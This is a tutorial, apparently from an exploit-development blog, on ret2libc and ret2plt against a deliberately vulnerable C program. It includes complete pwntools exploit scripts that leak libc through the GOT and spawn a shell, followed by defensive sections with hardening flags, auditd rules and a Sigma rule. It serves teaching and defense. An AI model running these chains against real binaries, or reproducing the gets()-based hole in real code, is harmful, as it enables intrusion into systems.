ret2libc and ret2plt: Leveraging Existing Code Without Shellcode
NX killed shellcode. That is the short version of why this technique exists. The moment the stack stopped being executable, dropping a blob of \x31\xc0\x50... onto it and jumping in became a dead end. But the attacker still controls the saved return address, and the process is already linked against a giant executable library full of useful functions. So instead of injecting new code, you reuse what is already mapped. Point the return address at system() in libc, hand it "/bin/sh", and you have a shell without writing a single byte of shellcode.
Objective: Build an intentionally vulnerable ELF target, then defeat NX with
ret2libcand defeat ASLR withret2plt, chaining a GOT-based libc leak into asystem("/bin/sh")call in both 32-bit and 64-bit. Every offensive stage is paired with how a defender sees it on Linux.
Contents
- 1 1. Why Shellcode Isn’t Always an Option
- 2 2. ELF Dynamic Linking Internals: PLT, GOT, and Lazy Binding
- 3 3. Binary Protections Inventory: checksec and What Each Flag Means
- 4 4. Building the Lab Target
- 5 5. ret2libc Without ASLR (32-bit)
- 6 6. ret2libc on x86-64: Calling Conventions and Stack Alignment
- 7 7. ret2plt: Leaking a libc Address Through the GOT
- 8 8. Chaining ret2plt to ret2libc: The Two-Payload Pattern
- 9 9. Edge Cases and Gotchas
- 10 10. Common Attacker Techniques
- 11 11. Defensive Strategies & Detection
- 12 12. Tools for ret2libc and ret2plt Analysis
- 13 13. MITRE ATT&CK Mapping
- 14 Summary
- 15 Related Tutorials
- 16 References
1. Why Shellcode Isn’t Always an Option
Two mitigations shape this entire tutorial:
- NX / DEP marks the stack and heap non-executable. Your overflow still overwrites the return address, but you cannot execute data you planted there. This is the reason
ret2libcwas invented: redirect into existing executable code instead. - ASLR randomises the base of the stack, heap, and shared libraries on every run. Hardcoding an address for
system()breaks the moment ASLR is on. This is the reasonret2pltexists: you leak a live libc address at runtime instead of guessing it.
The plan is code reuse. Nothing you jump to is code you wrote. You are living off the binary and its libraries, calling functions that were already loaded, already executable, and already trusted by the loader.
2. ELF Dynamic Linking Internals: PLT, GOT, and Lazy Binding
Both techniques stand on how ELF resolves calls into shared libraries. When a dynamically linked program calls puts, it does not call libc directly. It calls a stub in the Procedure Linkage Table (PLT), which jumps through a slot in the Global Offset Table (GOT).
| Construct | Full Name | What It Does |
|---|---|---|
.plt | Procedure Linkage Table | Executable stubs. Each stub begins with an indirect jmp through a GOT slot. |
.got.plt | Global Offset Table (PLT part) | Writable table of resolved runtime pointers, one slot per imported function. |
| Lazy binding | – | The dynamic linker resolves a symbol only on its first call. Until then the GOT slot points back into the resolver. |
| RELRO | Relocation Read-Only | Hardening that controls whether the GOT stays writable. |
Lazy binding is the key idea. The program does not know libc’s runtime address for puts until puts is actually called. On that first call, control lands in the PLT stub, which jumps to a GOT slot that still points back into the PLT resolver stub. The resolver (_dl_runtime_resolve) walks the relocation and symbol tables (DT_JMPREL, DT_SYMTAB, DT_STRTAB), finds the real address of puts inside libc, writes it into the GOT slot, and jumps there. Every subsequent call reads the now-patched slot and jumps straight into libc.
Disassemble a stub to see this concretely:
objdump -d ./vuln64 -j .plt
0000000000401030 <puts@plt>:
401030: ff 25 e2 2f 00 00 jmp QWORD PTR [rip+0x2fe2] # 404018 <puts@got.plt>
401036: 68 00 00 00 00 push 0x0 # relocation index
40103b: e9 e0 ff ff ff jmp 401020 <.plt> # jump to resolver
The relocation records that drive _dl_runtime_resolve are visible too:
objdump -R ./vuln64
OFFSET TYPE VALUE
0000000000404018 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
The OFFSET here is the r_offset field of the Elf64_Rela entry: the exact GOT slot address that gets patched. Two facts fall out of this and drive everything below:
- The
.pltaddress ofputsis fixed inside a non-PIE binary. It is part of the executable, so ASLR does not move it. You can always callputs@plt. - After the first call, the GOT slot for
putsholds a live libc pointer. Read it and you have defeated library ASLR.

3. Binary Protections Inventory: checksec and What Each Flag Means
Before touching a target, enumerate its defenses. checksec (shipped with pwntools and pwndbg) reads them straight out of the ELF header.
checksec --file=./vuln32
| Flag | Meaning | Impact on This Attack |
|---|---|---|
| NX | Stack/heap non-executable | Forces code reuse. This is what ret2libc bypasses. |
| ASLR | Randomised library/stack/heap bases | Forces a runtime leak. This is what ret2plt bypasses. |
| PIE | Binary’s own .text/PLT/GOT randomised | If on, you must leak a code pointer first to rebase the PLT. |
| RELRO None | GOT fully writable | Lazy binding active; leak targets plentiful. |
| RELRO Partial | .got read-only, .got.plt writable | Default on most distros; lazy binding preserved. |
RELRO Full (-z now) | Whole GOT resolved at startup, read-only | You cannot overwrite the GOT, but you can still read it. ret2plt leaks still work. |
| Stack Canary | Guard word before saved return address | Blocks the naive overflow entirely; out of scope here. |
| SHSTK / IBT (CET) | Shadow stack + indirect branch tracking | If enforced in hardware, classic ret chains need a bypass first. |
For the labs we deliberately compile with No canary, No PIE, and No RELRO, then toggle ASLR at the kernel level per lesson. That isolates each mitigation so you learn one bypass at a time.
4. Building the Lab Target
Here is the vulnerable program. It uses gets, which has no bounds check, into a 64-byte stack buffer.
// vuln_lab.c - intentionally vulnerable lab target
#include <stdio.h>
#include <string.h>
void vuln(void) {
char buf[64];
puts("Input: ");
gets(buf); // unsafe: no bounds check, classic stack overflow
}
int main(void) {
vuln();
puts("Done.");
return 0;
}
Compile a 32-bit and a 64-bit variant:
# 32-bit, no canary, no PIE, no RELRO
gcc -m32 -fno-stack-protector -no-pie -Wl,-z,norelro -o vuln32 vuln_lab.c
# 64-bit, same hardening disabled
gcc -fno-stack-protector -no-pie -Wl,-z,norelro -o vuln64 vuln_lab.c
Toggle ASLR for staged lessons. Run everything inside a VM or container you control.
# Disable ASLR (for the first ret2libc lesson only)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# Restore full ASLR (for the ret2plt lessons)
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Find the offset to the saved return address with a de Bruijn pattern. In pwndbg:
# inside gdb/pwndbg
cyclic 200
run <<< $(cyclic 200)
# on crash, pwndbg prints the fault. Feed the value back:
cyclic -l 0x6161616c # -> 76 for the 32-bit build
For the 64-bit build the same procedure yields 72 bytes to $rip. Confirm both against your own crash, do not trust a number from a tutorial blindly. The compiler version and alignment padding can shift it.
5. ret2libc Without ASLR (32-bit)
Start with ASLR off so libc addresses are stable. The 32-bit cdecl convention passes arguments on the stack, laid out after the return slot. To call system("/bin/sh") you build a fake frame:
[ 76 bytes padding ][ &system ][ &exit ][ &"/bin/sh" ]
^ new EIP ^ return addr for ^ arg to system
system when it (read from stack)
returns
When vuln returns, EIP becomes system. system reads its argument from the stack (the pointer to "/bin/sh"), and when it finishes it returns into exit for a clean shutdown.
pwntools resolves all three addresses for you:
# exploit_ret2libc_noaslr.py
from pwn import *
elf = context.binary = ELF('./vuln32')
libc = elf.libc # the libc this binary is linked against
OFFSET = 76 # confirmed from cyclic
system_addr = libc.sym['system'] # fixed while ASLR is off
exit_addr = libc.sym['exit']
bin_sh_addr = next(libc.search(b'/bin/sh\x00'))
payload = b'A' * OFFSET
payload += p32(system_addr)
payload += p32(exit_addr) # clean return after the shell exits
payload += p32(bin_sh_addr)
p = process('./vuln32')
p.recvline()
p.sendline(payload)
p.interactive()
If you would rather source the addresses by hand, "/bin/sh" lives inside libc:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Run it, and gets overflows the buffer, the saved EIP becomes system, and you drop into a shell. That is ret2libc in its purest form. It only works because ASLR is off. Turn ASLR back on and libc.sym['system'] becomes a moving target. That is the problem ret2plt solves.
6. ret2libc on x86-64: Calling Conventions and Stack Alignment
On x86-64, the System V ABI passes the first integer argument in RDI, not on the stack. You cannot just lay the pointer after the return slot. You need a gadget that pops the stack into RDI and returns. Find one:
ROPgadget --binary ./vuln64 --rop | grep "pop rdi"
# or
ropper -f ./vuln64 --search "pop rdi; ret"
You are looking for something like pop rdi ; ret. Copy its address. Do not hardcode the value from this page, derive your own from your own binary.
The 64-bit frame to call system("/bin/sh") becomes:
[ 72 padding ][ pop_rdi; ret ][ &"/bin/sh" ][ &system ]
^ new RIP ^ popped into RDI ^ called with RDI set
There is one gotcha that cost me an hour the first time I hit it, so learn it now. Modern glibc system (and other functions) execute movaps instructions that require the stack to be 16-byte aligned. When you enter through a ROP chain, the stack is often off by 8 bytes, and system crashes deep inside with a SIGSEGV on a movaps xmm..., [rsp+...]. The fix is trivial once you know it: insert a single bare ret gadget before the libc call. That one ret pops 8 bytes and realigns the stack to a 16-byte boundary.
# find a bare ret for the alignment fix
ROPgadget --binary ./vuln64 --rop | grep ": ret$"
If your system call segfaults immediately inside libc rather than at your gadget, alignment is the first thing to check.

7. ret2plt: Leaking a libc Address Through the GOT
Turn ASLR back on:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Now libc.sym['system'] is randomised on every run, so the static exploit above fails. But recall two facts from Section 2. The .plt address of puts is fixed in a non-PIE binary, and after puts runs once its GOT slot holds a live libc pointer.
The leak is one line of ROP: call puts@plt with puts@got as its argument. That makes puts print the resolved runtime address of puts itself. Since main already calls puts before the overflow (the “Input:” prompt), the GOT slot is guaranteed to be resolved and pointing into libc, not back at the resolver. That timing matters: if you pick a symbol that has never been called under lazy binding, its GOT slot still points into the PLT stub and your “leak” is a useless local address. Leak something you know has already run.
Once you have the runtime address of puts, the libc base is arithmetic:
libc_base = leaked_puts_addr - libc.sym['puts']
From the base you can compute every other libc symbol, including system and the "/bin/sh" string. But the program will keep running after the leak, so you need it to come back for a second payload. Return into main after the puts call. The program re-prompts, and you send the real ret2libc payload with correctly rebased addresses.
For the 32-bit build the leak frame is:
[ 76 padding ][ &puts@plt ][ &main ][ &puts@got ]
^ new EIP ^ return ^ argument to puts
into main (prints its own libc address)

8. Chaining ret2plt to ret2libc: The Two-Payload Pattern
Put both stages in one script. Payload 1 leaks and re-enters main. Payload 2 spawns the shell using addresses computed from the leak.
32-bit full chain
# exploit_ret2plt_ret2libc.py
from pwn import *
elf = context.binary = ELF('./vuln32')
libc = elf.libc
p = process('./vuln32')
OFFSET = 76
# --- PAYLOAD 1: ret2plt leak ---
payload1 = b'A' * OFFSET
payload1 += p32(elf.plt['puts']) # call puts@plt
payload1 += p32(elf.sym['main']) # return into main for a second shot
payload1 += p32(elf.got['puts']) # argument: address of puts's GOT slot
p.recvline()
p.sendline(payload1)
# --- parse the 4-byte leak ---
leak = u32(p.recv(4))
log.success(f'puts @ {hex(leak)}')
libc.address = leak - libc.sym['puts'] # rebase the whole libc
log.success(f'libc base @ {hex(libc.address)}')
# --- PAYLOAD 2: ret2libc with computed addresses ---
p.recvline()
payload2 = b'A' * OFFSET
payload2 += p32(libc.sym['system'])
payload2 += p32(libc.sym['exit'])
payload2 += p32(next(libc.search(b'/bin/sh\x00')))
p.sendline(payload2)
p.interactive()
Setting libc.address in pwntools rebases every symbol lookup automatically, so libc.sym['system'] after the leak returns the correct live address.
64-bit full chain
The 64-bit version threads the pop rdi; ret gadget through both stages and adds the alignment ret before the final system call. Fill in POP_RDI and RET_GADGET from your own ROPgadget output.
# exploit_ret2plt_x64.py
from pwn import *
elf = context.binary = ELF('./vuln64')
libc = elf.libc
p = process('./vuln64')
OFFSET = 72 # confirm with cyclic
POP_RDI = 0x0 # <-- fill from: ROPgadget --binary ./vuln64 | grep "pop rdi"
RET_GADGET = 0x0 # <-- fill from: ROPgadget --binary ./vuln64 | grep ": ret$"
# --- PAYLOAD 1: leak puts via ret2plt ---
payload1 = b'A' * OFFSET
payload1 += p64(POP_RDI)
payload1 += p64(elf.got['puts']) # argument in RDI
payload1 += p64(elf.plt['puts']) # call puts@plt
payload1 += p64(elf.sym['main']) # re-enter main
p.recvline()
p.sendline(payload1)
leak = u64(p.recv(6).ljust(8, b'\x00')) # 6 valid bytes on x86-64
log.success(f'puts @ {hex(leak)}')
libc.address = leak - libc.sym['puts']
# --- PAYLOAD 2: system("/bin/sh") ---
p.recvline()
bin_sh = next(libc.search(b'/bin/sh\x00'))
payload2 = b'A' * OFFSET
payload2 += p64(RET_GADGET) # 16-byte stack alignment fix
payload2 += p64(POP_RDI)
payload2 += p64(bin_sh)
payload2 += p64(libc.sym['system'])
p.sendline(payload2)
p.interactive()
Note the 64-bit leak reads six bytes, not eight. User-space addresses on x86-64 are 48-bit, so the top two bytes are always zero and puts stops at the first null. Pad the six received bytes back up to eight with ljust before unpacking.
9. Edge Cases and Gotchas
| Situation | What Happens | Handling |
|---|---|---|
| Full RELRO | GOT is read-only, so you cannot overwrite a slot | ret2plt leaks still work because you only read the slot, never write it |
| Uncalled symbol | Its GOT slot points at the PLT resolver, not libc | Leak a symbol already invoked before the overflow (puts from the prompt) |
| PIE enabled | The binary’s own PLT/GOT are randomised too | Leak a code pointer first, compute the PIE base, then rebase elf.plt/elf.got |
movaps crash in system | Stack not 16-byte aligned on x86-64 | Prepend a single bare ret gadget before the libc call |
| Remote libc unknown | You cannot resolve system offset locally | Match the leak against libc-database or pwntools LibcSearcher; the low 12 bits of a leak fingerprint the exact build |
-fno-plt build | Calls go through .got directly, no PLT stub | The GOT slot itself is the call target; leak strategy still applies through .got |
The remote-libc case is worth internalising. The last three hex digits of any leaked pointer are page-offset invariant across ASLR runs, so a single leak is enough to identify the precise glibc version in a database of thousands. That is why partial leaks are operationally lethal, and it is a fact defenders should sit with.
10. Common Attacker Techniques
| Technique | Description |
|---|---|
| ret2libc | Redirect a saved return address into a libc function such as system to bypass NX |
| ret2plt | Call puts@plt/printf@plt on a GOT slot to leak a live libc address and defeat ASLR |
| GOT overwrite | With a writable GOT (No/Partial RELRO), overwrite a slot to hijack a later call |
| ret2dl_resolve | Forge relocation/symbol entries to make _dl_runtime_resolve resolve an arbitrary symbol without any leak |
| ROP chaining | String together pop; ret gadgets to set up arguments and call sequences under NX |
11. Defensive Strategies & Detection
Prevention at compile and link time
| Flag | Effect |
|---|---|
-fstack-protector-strong | Inserts a canary that detects the overflow before ret is reached |
-D_FORTIFY_SOURCE=2 | Replaces gets/strcpy with bounds-checked variants at compile time |
-Wl,-z,relro,-z,now | Full RELRO; GOT resolved at startup and marked read-only, killing GOT overwrite |
-pie -fPIE | Randomises the binary base so PLT/GOT are not statically known |
Replace gets with fgets/read + size | Removes the root cause entirely |
At the kernel, keep /proc/sys/kernel/randomize_va_space = 2. On CET-capable hardware, enforced SHSTK breaks classic ret chains because the shadow stack copy of the return address will not match, and IBT forces indirect branches to land on valid endbr64 targets.
Runtime detection on Linux
The reliable tell is the payoff itself: a process that has no business spawning a shell suddenly calls execve("/bin/sh", ...). A compiled C daemon that never legitimately calls system should never exec a shell. Watch it with auditd:
# audit every execve
auditctl -a always,exit -F arch=b64 -S execve -k shell_exec
# audit stack/heap being made executable (ROP stage 2 patterns)
auditctl -a always,exit -F arch=b64 -S mprotect -k mprotect_exec
| Signal | Detail |
|---|---|
execve("/bin/sh") under a network daemon | Primary indicator; correlate ppid/auid |
mprotect with PROT_EXEC | ROP chains that flip page permissions before staging |
| Intel PT branch anomalies | Anomalous branch-to-ret ratios expose ROP flow |
/proc/<pid>/maps change | New executable libc range after an overflow; hook mmap via eBPF kprobes |
For a live demonstration to students, strace the shell spawn so they can see it in the syscall trace:
strace -f -e trace=execve,mprotect ./vuln32
Sigma rule (auditd source)
title: Shell Spawned by Non-Interactive Network Process
status: experimental
logsource:
product: linux
service: auditd
detection:
selection:
type: SYSCALL
syscall: execve
exe|endswith:
- '/bin/sh'
- '/bin/bash'
- '/bin/dash'
filter_legit:
ppid|in:
- <known_shell_parent_pids> # tune per environment
condition: selection and not filter_legit
falsepositives:
- Legitimate shell scripts invoked by daemons
level: high
tags:
- attack.execution
- attack.t1203
If you bridge these labs to Windows PE/ROP, the analogue for detecting a spawned shell is Sysmon Event ID 1 (Process Create, inspect the CommandLine and unexpected parent), with the ETW provider Microsoft-Windows-Kernel-Process as the underlying source. Sysmon Event ID 10 (ProcessAccess) covers memory-scraping analogues, and Event ID 8 (CreateRemoteThread) matters if the payload pivots to injection after landing the shell.

12. Tools for ret2libc and ret2plt Analysis
| Tool | Description | Link |
|---|---|---|
| pwntools | ELF parsing, payload building, leak unpacking | pwntools.com |
| pwndbg / gef / peda | GDB plugins for offsets, PLT/GOT views, live tracing | github.com |
| ROPgadget | Find pop rdi; ret and alignment ret gadgets | github.com |
| ropper | Alternative gadget finder with search syntax | github.com |
| objdump | Disassemble PLT stubs, dump relocations | gnu.org |
| readelf | Inspect ELF sections .plt/.got/.got.plt | gnu.org |
| checksec | Enumerate NX, PIE, RELRO, canary, CET | pwntools.com |
| libc-database / LibcSearcher | Fingerprint remote libc from a leak | github.com |
13. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Exploitation for Client Execution | T1203 | Crash/exploit telemetry, unexpected execve post-overflow |
| Exploit Public-Facing Application | T1190 | Applies when the vulnerable binary is a network service |
| Hijack Execution Flow | T1574 | PLT/GOT resolution abuse; monitor GOT integrity and control-flow anomalies |
| Command and Scripting Interpreter: Unix Shell | T1059.004 | Shell spawn from a non-interactive process (auditd execve) |
ATT&CK has no dedicated sub-technique for ret2libc or ROP as of the current Enterprise matrix. T1203 is the closest canonical mapping for exploit-driven code execution, and T1574 covers execution-flow hijacking broadly. Confirm the technique IDs against the live matrix at attack.mitre.org before publishing.
Summary
- Code reuse defeats NX: you never inject shellcode, you return into libc functions that are already mapped and executable.
ret2pltdefeats ASLR by callingputs@pltonputs@gotto leak a live libc address, then rebasing all of libc fromleaked - libc.sym['puts'].- The two-payload pattern is the workhorse: leak and return to
main, then sendsystem("/bin/sh")with computed addresses. - On x86-64, arguments go in
RDIvia apop rdi; retgadget, and a spareretfixes the 16-bytemovapsalignment crash. - Full RELRO and PIE raise the bar but do not close it; the leak still reads a read-only GOT, and a leaked code pointer rebases a PIE binary.
- Detect the payoff, not the chain: an unexpected
execve("/bin/sh")under a daemon, caught by auditd and shipped as the Sigma rule above.
Related Tutorials
- Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
- Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
- Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
- Writing Your First Shellcode: x86 Reverse Shell from Scratch
- Egghunters: Staged Payload Delivery When Buffer Space Is Tight
References
- [d code execution. T1574 covers execution-flow hijacking broadly. Confirm current ATT&CK version at attack.mitre.org
- hacktricks.wiki
- ian.nl
- sharkmoos.medium.com
- manjoos.gitbook.io
- github.com
- github.com
- nandynarwhals.org
Get new drops in your inbox
Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.